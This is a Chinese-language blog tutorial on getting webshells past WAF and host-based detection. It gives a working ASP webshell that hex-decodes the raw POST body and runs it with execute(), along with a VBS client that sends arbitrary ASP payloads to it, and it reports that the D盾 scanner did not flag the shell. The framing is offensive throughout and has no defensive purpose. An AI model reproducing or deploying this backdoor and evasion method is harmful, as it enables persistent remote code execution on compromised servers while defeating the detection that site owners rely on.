轻松绕过市面上waf对webshell的动态拦截

一句话木马是一般是指一段短小精悍的恶意代码,这段代码可以用作一个代理来执行攻击者发送过来的任意指令,因其体积小、隐蔽性强、功能强大等特点,被广泛应用于渗透过程中。最初的一句话木马真的只有一句话,比如eval(request(“cmd”)),后续为了躲避查杀,出现了很多变形。无论怎么变形,其本质都是用有限的尽可能少的字节数,来实现无限的可任意扩展的功能。

一句话木马从最早的到现在,也有快二十年的历史了。客户端工具也从最简单的一个html页面发展到现在的各种GUI工具。但是近些年友军也没闲着,涌现出了各种防护系统,这些防护系统主要分为两类:一类是基于主机的,如Host based IDS、安全狗、D盾等,基于主机的防护系统主要是通过对服务器上的文件进行特征码检测;另一类是基于网络流量的,如各种云WAF、各种商业级硬件WAF、网络防火墙、Net Based IDS等,基于网络的防护设备其检测原理是对传输的流量数据进行特征检测,目前绝大多数商业级的防护设备皆属于此种类型。一旦目标网络部署了基于网络的防护设备,我们常用的一句话木马客户端在向服务器发送Payload时就会被拦截,这也就导致了有些场景下会出现一句话虽然已经成功上传,但是却无法连接的情况。

本文以asp代码示例,以客户端发送二进制代码,服务端接收并解码,从而釜底抽薪,绕过市面上的waf对特征码的查杀。原理是先知社区的rebeyond提出来的,不过作者没有写asp示例,所以我用asp代码来示例一下。

服务端up.asp代码:

Set node = xmldom.CreateElement("binary")
node.DataType = "bin.hex"


node.NodeTypedValue = request.binaryread(request.totalbytes)

Function hex2ascii(hextext )
For y = 1 To Len(hextext)
num = Mid(hextext, y, 2)
Value = Value & Chr(("&h" & num))
y = y + 1
Next
hex2ascii = Value
End Function
execute(hex2ascii(node.Text ))
%>

我用D盾测试,本以为表面过不了,结果也过了。

这个服务端没法用浏览器直接访问,会出错,我写了一个简单的vbs 客户端。

with wscript
if .arguments.count<2 then .quit
url=.arguments(0)
fn=.arguments(1)
end with
with createobject("adodb.stream")
.type=1:.open:.loadfromfile fn:s=.read:.close
end with
with createobject("microsoft.xmlhttp")
.open "post",url,false:.send s
wscript.echo .responseText
end with

使用方法:

cscript up.vbs http://url/up.asp payload.txt

palyload.txt里你直接写asp代码就可以了。

示例:

常规一句话,D盾会有:

我这个D盾毫无反应。其它waf大家自行测试。

至于payload.txt里的内容,可以去菜刀抓包,或是lake2的哪个版本里直接就有代码的,提取出来就可以了。

这只是个简单示例,需要对asp代码较熟,其它扩展功能,自行实现吧。